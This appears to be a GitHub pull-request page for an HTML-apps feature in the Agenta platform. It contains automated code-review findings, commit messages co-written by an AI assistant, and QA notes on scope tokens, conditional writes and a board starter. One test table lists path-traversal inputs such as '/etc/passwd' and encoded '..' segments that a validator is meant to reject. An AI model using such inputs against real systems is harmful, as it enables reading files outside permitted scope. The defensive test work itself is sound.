normaliseConfig() accepts duplicate IDs. normalise() then stores columns in a Map keyed by ID, which keeps only the last duplicate. If users add cards to both rendered duplicate columns, the next load drops one column's cards and a later save persists that loss. Reject duplicate IDs before calling normalise().
| const paths = (msg && msg.paths) || []; | ||
| if (!paths.some((p) => p === BOARD_FILE || p === CONFIG_FILE)) return; | ||
| // Our own pending write will merge on conflict; a re-read now would drop local edits. | ||
| if (drag || saving || dirty) { pendingReload = true; return; } |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
🔎 Supported by static analysis
🏁 Script executed:
#!/bin/bash
set -eu
file='api/oss/src/core/apps/starters/board@1/index.html'
printf '%s\n' '--- relevant source ---'
sed -n '240,350p' "$file"
printf '%s\n' '--- matching symbols ---'
rg -n -C 4 'scheduleSave|pendingReload|dirty|read.?only|changed|reload' "$file"Repository: Agenta-AI/agenta
Length of output: 9763
Handle pending reloads after read-only edits.
When agenta.canWrite is false, scheduleSave() sets dirty and returns without scheduling save(). A later changed event sets pendingReload, but both deferred reload checks require !dirty. Remote changes therefore remain stale until a full reload. Add a read-only discard/reload or reconciliation path.
| Frontend transport note: the generated Fern `writeMountFile` sends no body, so the host writes | ||
| through the existing axios raw-body path with `Content-Type: text/plain; charset=utf-8` and an | ||
| `If-Match` header. Reads, list and delete go through the Fern client; delete passes `If-Match` | ||
| as the generated request's typed `if-match` field. Either way the 412 body above is what the host | ||
| maps to `conflict`. |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Update the transport note; it contradicts the implementation.
The note says the generated writeMountFile sends no body and the host writes through an axios raw-body path. fsClient.ts now sends the write through getMountsClient().writeMountFile(...), because the route declares the body for OpenAPI. If-Match and the scope token travel in requestOptions.headers for that one call.
Correct this paragraph so the lanes reading it do not restore the axios path.
| import {scopeHeaders} from "./scopeToken" | ||
|
|
||
| import {safeParseWithLogging} from "../../shared/utils/zodSchema" |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win
Fix the import order; CI fails on it.
ESLint import/order requires ./scopeToken after ./protocol. The lint job runs with --max-warnings 0, so the build fails.
🔧 Proposed import order
-import {scopeHeaders} from "./scopeToken"
-
import {safeParseWithLogging} from "../../shared/utils/zodSchema"
import {
READ_CAP,
WRITE_CAP,
type BridgeErrorCode,
type FileEntry,
type FileStat,
type FsResults,
} from "./protocol"
+import {scopeHeaders} from "./scopeToken"🧰 Tools
🪛 GitHub Actions: 11 - check code styling / 3_TypeScript lint.txt
[error] 25-25: ESLint import/order: './scopeToken' import should occur after the import of './protocol'. Command failed during eslint --config ../eslint.config.mjs src/ --max-warnings 0.
🪛 GitHub Actions: 11 - check code styling / TypeScript lint
[error] 25-25: ESLint import/order: './scopeToken' import should occur after './protocol'. Command failed: eslint --config ../eslint.config.mjs src/ --max-warnings 0.
🪛 GitHub Check: TypeScript lint
[failure] 25-25:
./scopeToken import should occur after import of ./protocol
Source: Pipeline failures
| const [currentPath, setCurrentPath] = useState(entryPath) | ||
| const [backStack, setBackStack] = useState<string[]>([]) |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Reset the page state when entryPath changes.
currentPath and backStack are initialised once. When the caller swaps the entry file while Run stays selected, entryPath changes but currentPath keeps the previous path. The assemble effect then takes the io.fetchText(currentPath) branch and renders the previous file, and the strip shows a stale page label.
Synchronise both on an entryPath change.
🔧 Proposed fix
const [currentPath, setCurrentPath] = useState(entryPath)
const [backStack, setBackStack] = useState<string[]>([])Add after the state declarations:
// A new entry file is a new app page: drop the in-app navigation state.
useEffect(() => {
setCurrentPath(entryPath)
setBackStack([])
setErrors([])
}, [entryPath])The registry layout is already per session, so concurrent sessions cannot overwrite each other. What was missing is the read side: rule 3 told the agent to merge every session's file by slug without saying what merge means when two of them claim the same slug, which is the one case that can happen. Later updated_at wins, this session breaks a tie, and the merge stays a read operation. The last part matters more than the tiebreak: without it an agent could decide to tidy up by rewriting another session's file, which rule 2 forbids and which would lose that session's record. Regenerated SKILL.md from the section, per assembly.py.
…dicts The folder section told the agent that each file has one writer and the app owns its data while open. board@1's own SKILL.md says the opposite in the same breath: 'the app saves after every move; the agent may edit board.json too, the app re-reads on change.' The whole If-Match and conflict path exists because two writers share that file. So the rule was never one writer. It is one primary writer plus reconciliation, and an agent reading the old sentence would either avoid a write it is supposed to make or make it without reading first, which is the unconditional write that loses data. Says what the agent needs instead: it may write data, and it reads the file first because its writes carry no If-Match. Kept terse because the instruction body is budgeted; 4584 of 4608 bytes after this.
…s write Two stale claims in the contract that reviewers would take at face value. DELETE was listed as honouring If-Match with no qualification. It does, but the store emulates it as stat-compare-delete because conditional DeleteObject is not portable, so a write landing in the window is not caught. PUT has no such gap. storage.py already says this at the function; the contract is where someone reading the API would look, and it did not. The transport note still said the generated writeMountFile sends no body and the host writes through axios. That stopped being true in 2d16e16: the endpoint declares its raw body through openapi_extra and every method now goes through the generated client.
Review on #6972. A pathless listing skipped the prefix check. `enforce` only compared a path when one was given, and the list route passed the caller's `None` straight through to `list_files`, which walks the whole mount. So a page holding a folder-scoped token could read every file on the drive by leaving `path` off — the one thing a scope token must never permit. `enforce` now returns the path the request must use, so narrowing cannot be forgotten at a call site: a scoped caller that names no path gets its own folder, and an unscoped one keeps whatever it asked for. Also from the same review: - The board starter treated a column id as an identity everywhere except where it read one. Duplicate ids in the config rendered a second column that always drew empty, and duplicates in the stored board collapsed in a Map that kept only the last, dropping the other's cards on the next load. Config now keeps one column per id, and a stored duplicate folds its cards in rather than losing them. - The Run view is keyed by its entry file. It held the page, the back stack and the iframe from whichever file it opened with, so swapping the entry while Run stayed selected re-rendered the previous file under the new app's name. - The session registry example was not valid JSON. Agents copy these literally, so it names its keys instead of showing a shape that cannot be parsed. - Import order in `fsClient.ts`, and `ruff format` on the mounts router: both were failing CI. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Review on #6972. `dirty` was standing in for two different things: "a save is coming" on a writable board, and "scratch edits that can never be written" on a read-only one. The reload guards wanted the first meaning and got the second, so once a read-only viewer touched a card the board never picked up a remote change again — `scheduleSave` set `dirty` and returned without ever scheduling the save that clears it, and every `pendingReload` check required `!dirty`. One named predicate now asks the real question: local edits hold a reload back only while something will actually write them. The viewer is already told their changes are not saved, so a remote change wins. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
Worked through the review. Both failing checks are green locally against the CI commands, and every finding was checked against the code before acting — two of them turned out to be already fixed on the branch. The security finding — real, and worse than the listingConfirmed. Rather than special-casing the listing, Verified against the running API, not just in tests:
The new unit test fails with the fix reverted. The board's duplicate column ids — data loss, reproducedConfirmed, and the loss is concrete. Running the shipped functions before and after, with a config that repeats The id is the column's identity everywhere except where it was read. Config now keeps one column per id, and a stored duplicate folds its cards in instead of the Map silently keeping the last. One more of the same kind, found while checking that file
The rest
Already fixed, no change madeThe Checks
What is not QA'd in the browserThe scope fix and the board fix are verified as above. The RunView key is not: no drive in this project holds an HTML app, so Run mode has nothing to open without building one first. It is covered by the package suites and by the fact that a changed |
Two seams the server had already built and the bridge never used, both raised by the review on #6983 as documentation problems. The server refuses a path outside the folder and a write above the level with the same 403, and only `detail.code` separates them. Every 403 was mapped to `read_only`, so the SERVER-side folder boundary — the one that matters, the one a page cannot talk its way past — reported "read-only access". It also disagreed with the host's own path guard, which calls the same condition `scope`. The write precondition had the matching gap. `If-None-Match: *` is implemented in the API and named in the contract, but `FsWriteOptions` had no way to send it, so a write with no cached etag went out unconditional: two Run sessions could both create the same path and the later one overwrote the earlier, with no 412. A first write is now create-only, and a path that already exists comes back as `conflict` for the app to read and merge. A held etag still wins — it is the stronger statement, and the two together would contradict each other. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
📘 Docs preview
This comment updates in place on every push. |
|
Marked ready. Re-ran the acceptance script against the current branch on the EE dev stack, and closed several of the gaps from the earlier pass. One lane is genuinely unbuilt and a reviewer should know before approving. Re-verified on this branchCreated
Plus, from the review round on this PR, all verified against the live API rather than in tests alone:
The lane that is not built: skill attachmentStep 14 ("fresh session, make me a board") cannot pass, and the cause is not the fixture. Asked a drive-bearing agent for a board and it answered that it has no Both halves exist —
This is the item Still not verified
|
Website previewPreview URL: https://pr-6972-agenta-website-preview.mahmoud-637.workers.dev Built from |
Railway Preview Environment
Updated at 2026-09-22T14:13:43.086Z |
There was a problem hiding this comment.
Actionable comments posted: 11
🧹 Nitpick comments (1)
api/oss/tests/pytest/unit/apps/test_scope_token.py (1)
97-107: 🔒 Security & Privacy | 🛡️ Detected with Advanced Tier | 🔵 Trivial | ⚡ Quick winPath Traversal
Reachability: External
Exploitability: Theoretical
CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Reject dot-segment paths at the scope boundary.
allows_pathacceptsapps/../secrets.jsonbecause it compares raw strings. The three production scope-enforced operations reject literal..segments invalidate_file_pathbefore filesystem access, so this is defense in depth rather than an established traversal. Add prefixed traversal cases and reject dot segments before the scope comparison. Encoded-separator cases require a separate request-decoding contract.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Repository YAML (base), Organization UI (inherited)
Review profile: CHILL
Plan: Advanced
Run ID: 25274572-beed-423b-aeaf-b614bf251154
⛔ Files ignored due to path filters (9)
web/packages/agenta-api-client/src/generated/api/resources/mounts/client/Client.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/AppScopeRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/DeleteMountFileRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/GetMountFilesRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/WriteMountFileRequest.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/resources/mounts/client/requests/index.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/types/AppScopeResponse.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/types/MountFileWrittenResponse.tsis excluded by!**/generated/**web/packages/agenta-api-client/src/generated/api/types/index.tsis excluded by!**/generated/**
📒 Files selected for processing (106)
api/entrypoints/routers.pyapi/oss/src/apis/fastapi/mounts/models.pyapi/oss/src/apis/fastapi/mounts/router.pyapi/oss/src/apis/fastapi/tools/router.pyapi/oss/src/core/apps/__init__.pyapi/oss/src/core/apps/assembly.pyapi/oss/src/core/apps/handlers.pyapi/oss/src/core/apps/scope_token.pyapi/oss/src/core/apps/service.pyapi/oss/src/core/apps/skill/SKILL.mdapi/oss/src/core/apps/skill/sections/01-when.mdapi/oss/src/core/apps/skill/sections/02-first.mdapi/oss/src/core/apps/skill/sections/03-folder.mdapi/oss/src/core/apps/skill/sections/04-bridge.mdapi/oss/src/core/apps/skill/sections/05-custom-rules.mdapi/oss/src/core/apps/skill/sections/06-starters.mdapi/oss/src/core/apps/skill/sections/07-after.mdapi/oss/src/core/apps/skill/sections/08-agent-level.mdapi/oss/src/core/apps/starters/board@1/SKILL.mdapi/oss/src/core/apps/starters/board@1/app.jsonapi/oss/src/core/apps/starters/board@1/config.defaults.jsonapi/oss/src/core/apps/starters/board@1/index.htmlapi/oss/src/core/mounts/dtos.pyapi/oss/src/core/mounts/service.pyapi/oss/src/core/mounts/types.pyapi/oss/src/core/store/dtos.pyapi/oss/src/core/store/storage.pyapi/oss/src/core/store/types.pyapi/oss/src/core/tools/platform_handlers.pyapi/oss/src/core/workflows/build_kit.pyapi/oss/src/core/workflows/static_catalog.pyapi/oss/tests/pytest/unit/applications/test_build_kit_overlay.pyapi/oss/tests/pytest/unit/apps/__init__.pyapi/oss/tests/pytest/unit/apps/conftest.pyapi/oss/tests/pytest/unit/apps/test_create_app.pyapi/oss/tests/pytest/unit/apps/test_list_starters.pyapi/oss/tests/pytest/unit/apps/test_op_catalog_parity.pyapi/oss/tests/pytest/unit/apps/test_scope_token.pyapi/oss/tests/pytest/unit/apps/test_skill_assembly.pyapi/oss/tests/pytest/unit/apps/test_starter_manifest.pyapi/oss/tests/pytest/unit/mounts/test_mount_file_conditional_routes.pyapi/oss/tests/pytest/unit/mounts/test_protected_mount_policy.pyapi/oss/tests/pytest/unit/mounts/test_store_conditional_ops.pyapi/oss/tests/pytest/unit/skills/test_registry_listing.pyapi/oss/tests/pytest/unit/test_mounts_file_ops.pyapi/oss/tests/pytest/unit/workflows/test_static_catalog.pydocs/design/agent-html-apps/contracts.mdsdks/python/agenta/sdk/agents/platform/op_catalog.pysdks/python/agenta/sdk/agents/platform_instructions.pysdks/python/oss/tests/pytest/unit/agents/golden/run_request.gateway_connection.jsonsdks/python/oss/tests/pytest/unit/agents/platform/test_op_catalog.pysdks/python/oss/tests/pytest/unit/agents/test_platform_instructions.pyweb/mobile/src/features/settings/PreferencesTab.tsxweb/oss/src/components/pages/settings/Preferences/Preferences.tsxweb/packages/agenta-entities/src/drive/htmlApp/etags.tsweb/packages/agenta-entities/src/drive/htmlApp/fsClient.tsweb/packages/agenta-entities/src/drive/htmlApp/grants.tsweb/packages/agenta-entities/src/drive/htmlApp/host.tsweb/packages/agenta-entities/src/drive/htmlApp/index.tsweb/packages/agenta-entities/src/drive/htmlApp/manifest.tsweb/packages/agenta-entities/src/drive/htmlApp/mockHost.tsweb/packages/agenta-entities/src/drive/htmlApp/protocol.tsweb/packages/agenta-entities/src/drive/htmlApp/scope.tsweb/packages/agenta-entities/src/drive/htmlApp/scopeToken.tsweb/packages/agenta-entities/src/drive/htmlApp/stub.tsweb/packages/agenta-entities/src/drive/index.tsweb/packages/agenta-entities/tests/unit/htmlApp.egress.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.etags.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.fsClient.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.grants.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.host.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.manifest.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.mockHost.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.scope.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.scopeToken.test.tsweb/packages/agenta-entities/tests/unit/htmlApp.stub.test.tsweb/packages/agenta-entity-ui/package.jsonweb/packages/agenta-entity-ui/scripts/sync-kit-css.mjsweb/packages/agenta-entity-ui/src/drive/DriveExplorer.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/GrantSheet.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/HtmlAppBody.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/RunView.tsxweb/packages/agenta-entity-ui/src/drive/htmlApp/assemble.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/index.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/agenta-app.cssweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/index.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/kitCss.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/kit/tokens.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/useAppManifest.tsweb/packages/agenta-entity-ui/src/drive/htmlApp/useChangedHint.tsweb/packages/agenta-entity-ui/src/drive/index.tsweb/packages/agenta-entity-ui/src/drive/renderers.tsxweb/packages/agenta-entity-ui/tests/unit/htmlApp.assemble.test.tsweb/packages/agenta-entity-ui/tests/unit/htmlApp.grantEscalation.test.tsxweb/packages/agenta-entity-ui/tests/unit/htmlApp.kit.test.tsweb/packages/agenta-shared/src/state/featureFlags.tsweb/packages/agenta-shared/src/state/index.tsweb/storybook/fixtures/boardStarter.tsweb/storybook/fixtures/htmlApp.tsweb/storybook/raw.d.tsweb/storybook/stories/entity-ui/htmlApp/BoardStarter.stories.tsxweb/storybook/stories/entity-ui/htmlApp/GrantSheet.stories.tsxweb/storybook/stories/entity-ui/htmlApp/HtmlApp.mdxweb/storybook/stories/entity-ui/htmlApp/HtmlAppBody.stories.tsxweb/storybook/stories/entity-ui/htmlApp/Kit.stories.tsxweb/storybook/stories/entity-ui/htmlApp/RunView.stories.tsx
💤 Files with no reviewable changes (1)
- api/oss/tests/pytest/unit/apps/init.py
🚧 Files skipped from review as they are similar to previous changes (8)
- api/oss/src/core/apps/skill/sections/01-when.md
- api/oss/src/core/apps/starters/board@1/SKILL.md
- api/oss/src/core/apps/skill/sections/02-first.md
- api/oss/tests/pytest/unit/skills/test_registry_listing.py
- api/oss/src/core/apps/skill/sections/06-starters.md
- api/oss/src/core/apps/init.py
- web/storybook/stories/entity-ui/htmlApp/HtmlApp.mdx
- sdks/python/oss/tests/pytest/unit/agents/golden/run_request.gateway_connection.json
| class StarterInfo: | ||
| name: str | ||
| version: int | ||
| when: str | ||
| access: str = "read" | ||
| config_keys: Tuple[str, ...] = () | ||
| data_files: Tuple[str, ...] = () | ||
| # ``bundle`` starters copy; ``agent`` starters are listed only (copying is phase 3). | ||
| source: str = "bundle" | ||
|
|
||
| @property | ||
| def ref(self) -> str: | ||
| prefix = AGENT_STARTER_PREFIX if self.source == "agent" else "" | ||
| return f"{prefix}{self.name}@{self.version}" | ||
|
|
||
| def to_dict(self) -> Dict[str, Any]: | ||
| return { | ||
| "name": self.name, | ||
| "version": self.version, | ||
| "when": self.when, | ||
| "config_keys": list(self.config_keys), | ||
| "data_files": list(self.data_files), | ||
| "access": self.access, | ||
| "source": self.source, | ||
| } | ||
|
|
||
|
|
||
| @dataclass(frozen=True) | ||
| class CreateAppResult: | ||
| paths: List[str] | ||
| template: str | ||
| skipped: List[str] = field(default_factory=list) |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win
🔎 Supported by static analysis
🏁 Script executed:
#!/bin/bash
set -eu
printf '%s\n' '--- target outline ---'
ast-grep outline api/oss/src/core/apps/service.py
printf '%s\n' '--- target source ---'
sed -n '1,180p' api/oss/src/core/apps/service.py
printf '%s\n' '--- symbol references ---'
rg -n --glob '*.py' '\b(StarterInfo|CreateAppResult)\b|list_starters|create_app' api/oss/srcRepository: Agenta-AI/agenta
Length of output: 13619
🏁 Script executed:
#!/bin/bash
set -eu
sed -n '1,180p' api/oss/src/core/apps/service.py
printf '%s\n' '--- references ---'
rg -n --glob '*.py' '\b(StarterInfo|CreateAppResult)\b|list_starters|create_app' api/oss/srcRepository: Agenta-AI/agenta
Length of output: 12282
🤖 get_repo_knowledge executed:
get_repo_knowledge Agenta-AI/agenta /tmp/coderabbit-repo-knowledge/agenta-ai-agenta-4b53879a/conventions
Length of output: 23662
Return Pydantic DTOs from AppsService.
AppsService.list_starters returns List[StarterInfo], and AppsService.create_app returns CreateAppResult. Both result types are currently dataclasses. Convert them to BaseModel subclasses to comply with the repository service contract. Preserve the existing ref and to_dict() behavior.
| current = await self.mounts_service.read_file( | ||
| project_id=project_id, mount_id=mount_id, path=manifest_path | ||
| ) |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | 🏗️ Heavy lift
Use the new preconditions to serialize app creation.
Two concurrent create_app calls can both observe a missing app.json. Both calls then write unconditionally. Calls with different starters can produce a manifest and entry file from different templates.
Create app.json with if_none_match_any=True. For updates, use the ETag returned by read_file with if_match. Treat a failed condition as an app conflict before writing the remaining template files.
Based on learnings, read-then-write flows require optimistic locking or another atomic control.
Also applies to: 429-434
Source: Learnings
| names while it is open; you own config and the rest. You may write data too, but read it | ||
| first: your writes are unconditional. |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win
Prevent agent writes from overwriting live app data.
A read before an unconditional agent write does not prevent the app from saving newer data before that write. The later agent write can then replace the app update.
api/oss/src/core/apps/skill/SKILL.md#L26-L27: require a conditional write with conflict handling, or prohibit writes to declareddatafiles while the app is open.api/oss/src/core/apps/skill/sections/03-folder.md#L6-L7: keep the extracted guidance consistent with the same restriction.
📍 Affects 2 files
api/oss/src/core/apps/skill/SKILL.md#L26-L27(this comment)api/oss/src/core/apps/skill/sections/03-folder.md#L6-L7
| current = await self._current_etag(bucket=bucket, key=key) | ||
| if current is None or current != _normalize_etag(if_match): | ||
| raise StorePreconditionFailed(current) | ||
| client = self._client() | ||
| await client.put_object(bucket, key, BytesIO(body), length=len(body)) | ||
| return len(body) | ||
| await client.remove_object(bucket, key) | ||
| return 1 |
There was a problem hiding this comment.
🗄️ Data Integrity & Integration | 🟠 Major | 🏗️ Heavy lift
Make conditional deletion atomic.
delete_object_if_match checks the ETag and deletes the key in separate requests. If another writer updates the object after _current_etag returns, remove_object deletes the new version even though its ETag does not match If-Match.
Use a native conditional delete where supported. Otherwise, delete the exact version returned by the stat operation, or reject conditional deletion on backends that cannot provide atomic semantics.
| # Agent HTML apps. Both write to / read from the session's own drive, which RUN_TOOLS | ||
| # already covers (the mount endpoints ask for nothing more), so neither is elevated. | ||
| CREATE_APP_CALL_REF: PlatformToolHandlerRegistration( | ||
| call_ref=CREATE_APP_CALL_REF, | ||
| timeout_ms=CREATE_APP_DEFAULT_TIMEOUT_MS, | ||
| handler=handle_create_app, | ||
| needs_mounts=True, | ||
| ), | ||
| LIST_STARTERS_CALL_REF: PlatformToolHandlerRegistration( | ||
| call_ref=LIST_STARTERS_CALL_REF, | ||
| timeout_ms=LIST_STARTERS_DEFAULT_TIMEOUT_MS, | ||
| handler=handle_list_starters, | ||
| needs_mounts=True, |
There was a problem hiding this comment.
🔒 Security & Privacy | 🛡️ Detected with Advanced Tier | 🟠 Major | ⚡ Quick win
Authorization Bypass
Reachability: External
Exploitability: Moderate
CWE: CWE-862 — Missing Authorization
Enforce mount permissions for the app handlers.
An authenticated caller with RUN_TOOLS can reach both handlers. create_app then creates a session mount and writes files without EDIT_MOUNTS. list_starters reads the agent mount without VIEW_MOUNTS.
Set elevated_permission=Permission.EDIT_MOUNTS for create_app. Set elevated_permission=Permission.VIEW_MOUNTS for list_starters.
The session and artifact bindings limit which mount the caller targets. They do not replace the missing permission checks.
| "v1": _build_kit_revision, | ||
| }, | ||
| }, | ||
| AGENTA_APPS_SLUG: { | ||
| "kind": "skill", | ||
| "embeddable": True, | ||
| "latest": "v1", | ||
| "versions": { | ||
| "v1": _skill_revision(AGENTA_APPS_SKILL), | ||
| }, | ||
| }, | ||
| } | ||
|
|
||
|
|
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | 🏗️ Heavy lift
🔎 Supported by static analysis
🏁 Script executed:
rg -n "AGENTA_APPS|agenta-apps|Add.skills|skill.*picker|static.*catalog|DEFAULT_BUILD_KIT_OPS" api web sdks | head -250Repository: Agenta-AI/agenta
Length of output: 32222
🏁 Script executed:
set -e
printf '%s\n' '--- skills service symbols and relevant body ---'
ast-grep outline api/oss/src/core/skills/service.py
sed -n '500,640p' api/oss/src/core/skills/service.py
printf '%s\n' '--- skill routes and service callers ---'
rg -n -C 4 'SkillsService|list_skills|list.*skill|attach.*skill|skill.*attach|registry.*skill|skills.*registry' api/oss/src api/entrypoints web/packages/agenta-skills-ui web/packages/agenta-ui | head -320
printf '%s\n' '--- build-kit overlay ---'
cat -n api/oss/src/core/workflows/build_kit.py | sed -n '1,190p'
cat -n api/oss/src/apis/fastapi/applications/overlay.py | sed -n '1,220p'
printf '%s\n' '--- static catalog and skill tests ---'
cat -n api/oss/src/core/workflows/static_catalog.py | sed -n '1,80p;300,355p'
cat -n api/oss/tests/pytest/unit/apps/test_skill_assembly.py | sed -n '55,95p'
cat -n api/oss/tests/pytest/unit/applications/test_build_kit_overlay.py | sed -n '220,255p;330,425p'Repository: Agenta-AI/agenta
Length of output: 42590
🏁 Script executed:
set -e
printf '%s\n' '--- backend registry listing and route ---'
cat -n api/oss/src/core/skills/service.py | sed -n '145,275p'
cat -n api/oss/src/apis/fastapi/skills/router.py | sed -n '145,225p'
printf '%s\n' '--- picker host and drawer data/attachment callbacks ---'
cat -n web/packages/agenta-skills-ui/src/SkillPickerHost.tsx | sed -n '1,280p'
cat -n web/packages/agenta-skills-ui/src/SkillPickerDrawer.tsx | sed -n '1,260p'
printf '%s\n' '--- agent panel bridge and skill serialization ---'
cat -n web/packages/agenta-ui/src/drill-in/context/DrillInUIContext.tsx | sed -n '210,255p;370,410p'
rg -n -C 5 'SkillPickerHost|onAdd|onRemove|builtin|is_static|`@ag.embed`|create_app|list_starters' web/packages/agenta-skills-ui web/packages/agenta-ui web/oss/src | head -420Repository: Agenta-AI/agenta
Length of output: 42071
🏁 Script executed:
set -e
printf '%s\n' '--- skills registry state and API response mapping ---'
rg -n -C 8 'skillsListDataAtom|SkillsResponse|builtin|query.*skills|/skills/query|list.*skills' web/packages/agenta-skills web/packages/agenta-skills-ui web/oss/src api/oss/src/apis/fastapi/skills api/oss/src/core/skills | head -500
printf '%s\n' '--- embed builder contract ---'
rg -n -C 10 'buildSkillEmbedEntry|SkillEmbedTarget' web/packages/agenta-skills web/packages/agenta-skills-ui web/packages/agenta-entities | head -260
printf '%s\n' '--- ordinary agent config and build-kit consumers ---'
rg -n -C 6 'build_agent_template_overlay|agent_template_overlay|DEFAULT_BUILD_KIT_OPS|create_app|list_starters|platform.*op|agent template overlay|SkillsPickerHost' api web/packages | head -600Repository: Agenta-AI/agenta
Length of output: 42245
🏁 Script executed:
set -e
printf '%s\n' '--- production app operation registrations and consumers ---'
rg -n -C 6 'create_app|list_starters' api/oss/src api/entrypoints sdks/python/agenta web/packages/agenta-playground web/packages/agenta-chat web/packages/agenta-entities | head -500
printf '%s\n' '--- ordinary request defaults versus build-kit overlay ---'
rg -n -C 8 'buildAgentRequest|build_agent_template_overlay|agent_template_overlay|build.?kit|DEFAULT_BUILD_KIT_OPS|PLATFORM_OPS' web/packages/agenta-playground/src api/oss/src sdks/python/agenta/sdk | head -500Repository: Agenta-AI/agenta
Length of output: 42346
Wire the built-in app skill and app operations into ordinary agents. The registry returns static skills in builtin, but SkillPickerHost reads only skillsListDataAtom, which contains query.data.skills. It never consumes builtinSkillsAtom. Therefore, ordinary agents cannot select __ag__agenta_apps or receive its @ag.embed entry.
create_app, list_starters, and the agenta-apps embed currently exist in the playground-only build-kit overlay. Add the builtin skill and both platform operations to the ordinary-agent configuration path. Otherwise ordinary agents cannot receive the app-creation instructions or call the operations required to create an app.
| it("a write without a prior read is unconditional", async () => { | ||
| const host = rw() | ||
| expectOk(await host.handle(req({method: "write", path: "index.html", body: "v2"}))) | ||
| expect(host.files.get("index.html")).toBe("v2") | ||
| }) |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
Model create-only first writes in the mock.
This test requires an unseen-path write to overwrite an existing file. The real host sends ifNoneMatch when it has no cached ETag, so the server must return conflict if the path already exists.
Update createMockHtmlAppHost to enforce create-only writes. Update the fake client in htmlApp.host.test.ts to record and enforce ifNoneMatch. This keeps stories and parity tests able to reproduce first-write conflicts.
| it("rejects every traversal and malformed shape with a scope failure", () => { | ||
| const table = [ | ||
| "", | ||
| "/", | ||
| "/etc/passwd", | ||
| "/apps/board/a.txt", | ||
| ".", | ||
| "..", | ||
| "../x", | ||
| "a/../..", | ||
| "a/../b", | ||
| "a/./b", | ||
| "a//b", | ||
| "%2e%2e/x", | ||
| "a/%2E%2E/b", | ||
| "%2e", | ||
| "%2f..%2fx", | ||
| "%zz", | ||
| "a\\b", | ||
| "..\\x", | ||
| "a\x00b", | ||
| "a\nb", | ||
| "a\x7fb", | ||
| ] |
There was a problem hiding this comment.
🔒 Security & Privacy | 🛡️ Detected with Advanced Tier | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -eu
printf '%s\n' '--- scope helper ---'
cat -n web/packages/agenta-entities/src/drive/htmlApp/scope.ts | sed -n '1,95p'
printf '%s\n' '--- scope test ---'
cat -n web/packages/agenta-entities/tests/unit/htmlApp.scope.test.ts | sed -n '1,75p'Repository: Agenta-AI/agenta
Length of output: 7547
Path Traversal
Reachability: External
CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Add percent-encoded backslash cases to the scope rejection table. normalizeAppPath decodes the input before it rejects backslashes. The current table covers only raw backslashes, so add %5c, %5C, and a%5c..%5csecret to protect the path boundary against regression.
| it("lets external, protocol-relative and fragment links fall through", async () => { | ||
| const r = await connected() | ||
| for (const href of ["https://example.com", "mailto:x@y.z", "//cdn.example.com/x", "#top"]) { | ||
| const a = r.doc.createElement("a") | ||
| a.setAttribute("href", href) | ||
| r.doc.body.appendChild(a) | ||
| expect(click(r, a), href).toBe(false) | ||
| } |
There was a problem hiding this comment.
🔒 Security & Privacy | 🛡️ Detected with Advanced Tier | 🟠 Major | 🏗️ Heavy lift
Sensitive Data Exposure
Reachability: External
Exploitability: Trivial
CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
Block same-frame external navigation.
This test requires external links to bypass the bridge. A Run app can put mounted file data in the URL and navigate its own iframe. The browser then sends the URL to the external server.
The popup restriction does not block navigation of the iframe itself. CSP fetch directives do not govern navigation. A click-only interceptor is also insufficient because app code can assign window.location.
Add a browser-enforced control that blocks all external navigation from the Run context. Then route permitted destinations through the host.
| const [grant, setGrant] = useState<GrantLevel | null>( | ||
| () => (mountId ? grants.get(mountId, dir)?.level : null) ?? null, | ||
| ) |
There was a problem hiding this comment.
🔒 Security & Privacy | 🛡️ Detected with Advanced Tier | 🟠 Major | 🏗️ Heavy lift
Authorization Bypass
Reachability: Internal
Exploitability: Moderate
CWE: CWE-863 — Incorrect Authorization
Reset grant when the mount or app dir changes.
